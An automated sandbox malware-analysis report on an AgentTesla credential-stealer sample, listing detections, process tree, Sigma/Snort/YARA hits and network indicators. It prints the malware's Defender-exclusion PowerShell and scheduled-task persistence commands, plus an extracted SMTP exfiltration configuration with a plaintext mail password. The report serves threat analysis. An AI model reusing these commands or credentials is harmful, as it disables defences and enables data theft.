Edit tour

Windows Analysis Report
P020241901.exe

Overview

General Information

Sample name:	P020241901.exe
Analysis ID:	1410986
MD5:	f061401dd36dc8e88017ef9f9a43e5a7
SHA1:	ea4d27815a1cf0f447fab333bdd52825e32807e3
SHA256:	935319064e3a30103096a9241c2467b7d19fdbd371d078554a1a7503e1a92cdd
Tags:	AgentTeslaexe
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Scheduled temp file as task from temp location

Snort IDS alert for network traffic

Yara detected AgentTesla

Yara detected AntiVM3

.NET source code contains potential unpacker

.NET source code contains very large array initializations

Adds a directory exclusion to Windows Defender

Contains functionality to log keystrokes (.Net Source)

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses schtasks.exe or at.exe to add and modify task schedules

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Outbound SMTP Connections

Sigma detected: Suspicious Schtasks From Env Var Folder

Tries to load missing DLLs

Uses 32bit PE files

Uses SMTP (mail sending)

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

P020241901.exe (PID: 4204 cmdline: C:\Users\user\Desktop\P020241901.exe MD5: F061401DD36DC8E88017EF9F9A43E5A7)

powershell.exe (PID: 3184 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\P020241901.exe MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6980 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3440 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 5424 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 7284 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

schtasks.exe (PID: 2616 cmdline: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VKkzqGUhsZwwm" /XML "C:\Users\user\AppData\Local\Temp\tmpF9C9.tmp MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 4320 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

P020241901.exe (PID: 7180 cmdline: C:\Users\user\Desktop\P020241901.exe MD5: F061401DD36DC8E88017EF9F9A43E5A7)

VKkzqGUhsZwwm.exe (PID: 7260 cmdline: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe MD5: F061401DD36DC8E88017EF9F9A43E5A7)

schtasks.exe (PID: 7488 cmdline: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VKkzqGUhsZwwm" /XML "C:\Users\user\AppData\Local\Temp\tmpBEA.tmp MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7496 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

VKkzqGUhsZwwm.exe (PID: 7540 cmdline: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe MD5: F061401DD36DC8E88017EF9F9A43E5A7)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://asec.ahnlab.com/ko/29133/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.cup.org.pk", "Username": "naseer@cup.org.pk", "Password": "Cup@123#"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000009.00000002.3234380229.0000000002A50000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.3234380229.0000000002A6A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000E.00000002.3233407833.0000000002B59000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000E.00000002.3233407833.0000000002B3E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000E.00000002.3230734954.0000000000431000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000002.3230734954.0000000000431000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.2002617637.000000000375E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2002617637.000000000375E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000009.00000002.3234380229.0000000002A01000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.3234380229.0000000002A01000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000E.00000002.3233407833.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000002.3233407833.0000000002AF1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: P020241901.exe PID: 4204	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: P020241901.exe PID: 4204	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: P020241901.exe PID: 4204	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: P020241901.exe PID: 7180	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: P020241901.exe PID: 7180	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: VKkzqGUhsZwwm.exe PID: 7260	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: VKkzqGUhsZwwm.exe PID: 7540	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: VKkzqGUhsZwwm.exe PID: 7540	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 15 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
14.2.VKkzqGUhsZwwm.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
14.2.VKkzqGUhsZwwm.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
14.2.VKkzqGUhsZwwm.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x334ab:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3351d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x335a7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33639:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x336a3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33715:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x337ab:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3383b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.P020241901.exe.3799000.10.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.P020241901.exe.3799000.10.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.P020241901.exe.3799000.10.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x316ab:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3171d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x317a7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31839:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x318a3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31915:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x319ab:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x31a3b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.P020241901.exe.375e5e0.11.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.P020241901.exe.375e5e0.11.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.P020241901.exe.375e5e0.11.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x316ab:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3171d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x317a7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x31839:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x318a3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x31915:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x319ab:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x31a3b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.P020241901.exe.375e5e0.11.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.P020241901.exe.375e5e0.11.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.P020241901.exe.375e5e0.11.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x334ab:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6decb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xa86eb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3351d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6df3d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xa875d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x335a7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6dfc7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xa87e7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33639:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6e059:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xa8879:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x336a3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6e0c3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xa88e3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33715:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6e135:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xa8955:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x337ab:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6e1cb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0xa89eb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B
0.2.P020241901.exe.3799000.10.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.P020241901.exe.3799000.10.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.P020241901.exe.3799000.10.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x334ab:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6dccb:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3351d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6dd3d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x335a7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6ddc7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33639:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6de59:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x336a3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6dec3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33715:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6df35:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x337ab:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6dfcb:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3383b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x6e05b:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
Click to see the 10 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\P020241901.exe, CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\P020241901.exe, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\Desktop\P020241901.exe, ParentImage: C:\Users\user\Desktop\P020241901.exe, ParentProcessId: 4204, ParentProcessName: P020241901.exe, ProcessCommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\P020241901.exe, ProcessId: 3184, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VKkzqGUhsZwwm" /XML "C:\Users\user\AppData\Local\Temp\tmpBEA.tmp, CommandLine: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VKkzqGUhsZwwm" /XML "C:\Users\user\AppData\Local\Temp\tmpBEA.tmp, CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe, ParentImage: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe, ParentProcessId: 7260, ParentProcessName: VKkzqGUhsZwwm.exe, ProcessCommandLine: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VKkzqGUhsZwwm" /XML "C:\Users\user\AppData\Local\Temp\tmpBEA.tmp, ProcessId: 7488, ProcessName: schtasks.exe

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 203.82.48.116, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\Desktop\P020241901.exe, Initiated: true, ProcessId: 7180, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49708

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VKkzqGUhsZwwm" /XML "C:\Users\user\AppData\Local\Temp\tmpF9C9.tmp, CommandLine: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VKkzqGUhsZwwm" /XML "C:\Users\user\AppData\Local\Temp\tmpF9C9.tmp, CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\Desktop\P020241901.exe, ParentImage: C:\Users\user\Desktop\P020241901.exe, ParentProcessId: 4204, ParentProcessName: P020241901.exe, ProcessCommandLine: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VKkzqGUhsZwwm" /XML "C:\Users\user\AppData\Local\Temp\tmpF9C9.tmp, ProcessId: 2616, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\P020241901.exe, CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\P020241901.exe, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\Desktop\P020241901.exe, ParentImage: C:\Users\user\Desktop\P020241901.exe, ParentProcessId: 4204, ParentProcessName: P020241901.exe, ProcessCommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\P020241901.exe, ProcessId: 3184, ProcessName: powershell.exe

Persistence and Installation Behavior

Sigma detected: Scheduled temp file as task from temp location

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VKkzqGUhsZwwm" /XML "C:\Users\user\AppData\Local\Temp\tmpF9C9.tmp, CommandLine: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VKkzqGUhsZwwm" /XML "C:\Users\user\AppData\Local\Temp\tmpF9C9.tmp, CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\Desktop\P020241901.exe, ParentImage: C:\Users\user\Desktop\P020241901.exe, ParentProcessId: 4204, ParentProcessName: P020241901.exe, ProcessCommandLine: C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VKkzqGUhsZwwm" /XML "C:\Users\user\AppData\Local\Temp\tmpF9C9.tmp, ProcessId: 2616, ProcessName: schtasks.exe

Snort Signatures

ETPRO TROJAN Agent Tesla CnC Exfil Activity - Source IP: 192.168.2.5 - Destination IP: 203.82.48.116

Timestamp:	03/18/24-14:32:22.806223
SID:	2855542
Source Port:	49711
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla Exfil via SMTP - Source IP: 192.168.2.5 - Destination IP: 203.82.48.116

Timestamp:	03/18/24-14:32:22.806223
SID:	2855245
Source Port:	49711
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.5 - Destination IP: 203.82.48.116

Timestamp:	03/18/24-14:32:22.806223
SID:	2840032
Source Port:	49711
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN AgentTesla Exfil Via SMTP - Source IP: 192.168.2.5 - Destination IP: 203.82.48.116

Timestamp:	03/18/24-14:32:19.942080
SID:	2030171
Source Port:	49708
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla Telegram Exfil - Source IP: 192.168.2.5 - Destination IP: 203.82.48.116

Timestamp:	03/18/24-14:32:22.806223
SID:	2851779
Source Port:	49711
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/Agent Tesla SMTP Activity - Source IP: 192.168.2.5 - Destination IP: 203.82.48.116

Timestamp:	03/18/24-14:32:19.942080
SID:	2839723
Source Port:	49708
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla CnC Exfil Activity - Source IP: 192.168.2.5 - Destination IP: 203.82.48.116

Timestamp:	03/18/24-14:32:19.942146
SID:	2855542
Source Port:	49708
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla Exfil via SMTP - Source IP: 192.168.2.5 - Destination IP: 203.82.48.116

Timestamp:	03/18/24-14:32:19.942146
SID:	2855245
Source Port:	49708
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN AgentTesla Exfil Via SMTP - Source IP: 192.168.2.5 - Destination IP: 203.82.48.116

Timestamp:	03/18/24-14:32:22.806192
SID:	2030171
Source Port:	49711
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/Agent Tesla SMTP Activity - Source IP: 192.168.2.5 - Destination IP: 203.82.48.116

Timestamp:	03/18/24-14:32:22.806192
SID:	2839723
Source Port:	49711
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 - Source IP: 192.168.2.5 - Destination IP: 203.82.48.116

Timestamp:	03/18/24-14:32:19.942146
SID:	2840032
Source Port:	49708
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla Telegram Exfil - Source IP: 192.168.2.5 - Destination IP: 203.82.48.116

Timestamp:	03/18/24-14:32:19.942146
SID:	2851779
Source Port:	49708
Destination Port:	587
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: P020241901.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe

Avira: detection malicious, Label: HEUR/AGEN.1306659

Found malware configuration

Source: 0.2.P020241901.exe.3799000.10.raw.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.cup.org.pk", "Username": "naseer@cup.org.pk", "Password": "Cup@123#"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe

ReversingLabs: Detection: 65%

Multi AV Scanner detection for submitted file

Source: P020241901.exe

ReversingLabs: Detection: 65%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: P020241901.exe

Joe Sandbox ML: detected

Source: P020241901.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: P020241901.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: kugJ.pdbSHA256 source: P020241901.exe, VKkzqGUhsZwwm.exe.0.dr
Source:	Binary string: kugJ.pdb source: P020241901.exe, VKkzqGUhsZwwm.exe.0.dr

Source: C:\Users\user\Desktop\P020241901.exe	Code function: 4x nop then jmp 06ED8906h		0_2_06ED85E7
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Code function: 4x nop then jmp 06B876CEh		10_2_06B873AF

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2855542 ETPRO TROJAN Agent Tesla CnC Exfil Activity 192.168.2.5:49708 -> 203.82.48.116:587
Source: Traffic	Snort IDS: 2855245 ETPRO TROJAN Agent Tesla Exfil via SMTP 192.168.2.5:49708 -> 203.82.48.116:587
Source: Traffic	Snort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.2.5:49708 -> 203.82.48.116:587
Source: Traffic	Snort IDS: 2840032 ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 192.168.2.5:49708 -> 203.82.48.116:587
Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.5:49708 -> 203.82.48.116:587
Source: Traffic	Snort IDS: 2839723 ETPRO TROJAN Win32/Agent Tesla SMTP Activity 192.168.2.5:49708 -> 203.82.48.116:587
Source: Traffic	Snort IDS: 2855542 ETPRO TROJAN Agent Tesla CnC Exfil Activity 192.168.2.5:49711 -> 203.82.48.116:587
Source: Traffic	Snort IDS: 2855245 ETPRO TROJAN Agent Tesla Exfil via SMTP 192.168.2.5:49711 -> 203.82.48.116:587
Source: Traffic	Snort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.2.5:49711 -> 203.82.48.116:587
Source: Traffic	Snort IDS: 2840032 ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2 192.168.2.5:49711 -> 203.82.48.116:587
Source: Traffic	Snort IDS: 2030171 ET TROJAN AgentTesla Exfil Via SMTP 192.168.2.5:49711 -> 203.82.48.116:587
Source: Traffic	Snort IDS: 2839723 ETPRO TROJAN Win32/Agent Tesla SMTP Activity 192.168.2.5:49711 -> 203.82.48.116:587

Source: global traffic

TCP traffic: 192.168.2.5:49708 -> 203.82.48.116:587

Source: Joe Sandbox View

ASN Name: NAYATEL-PKNayatelPvtLtdPK NAYATEL-PKNayatelPvtLtdPK

Source: global traffic

TCP traffic: 192.168.2.5:49708 -> 203.82.48.116:587

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: unknown

DNS traffic detected: queries for: mail.cup.org.pk

Source: P020241901.exe, 00000009.00000002.3234380229.0000000002A58000.00000004.00000800.00020000.00000000.sdmp, VKkzqGUhsZwwm.exe, 0000000E.00000002.3233407833.0000000002B46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.cup.org.pk
Source: P020241901.exe, 00000000.00000002.2001137973.0000000002581000.00000004.00000800.00020000.00000000.sdmp, VKkzqGUhsZwwm.exe, 0000000A.00000002.2042466300.0000000002679000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: P020241901.exe, 00000000.00000002.2002617637.000000000375E000.00000004.00000800.00020000.00000000.sdmp, VKkzqGUhsZwwm.exe, 0000000E.00000002.3230734954.0000000000431000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.P020241901.exe.3799000.10.raw.unpack, n00.cs	.Net Code: meEYaI
Source: 0.2.P020241901.exe.375e5e0.11.raw.unpack, n00.cs	.Net Code: meEYaI

System Summary

Malicious sample detected (through community Yara rule)

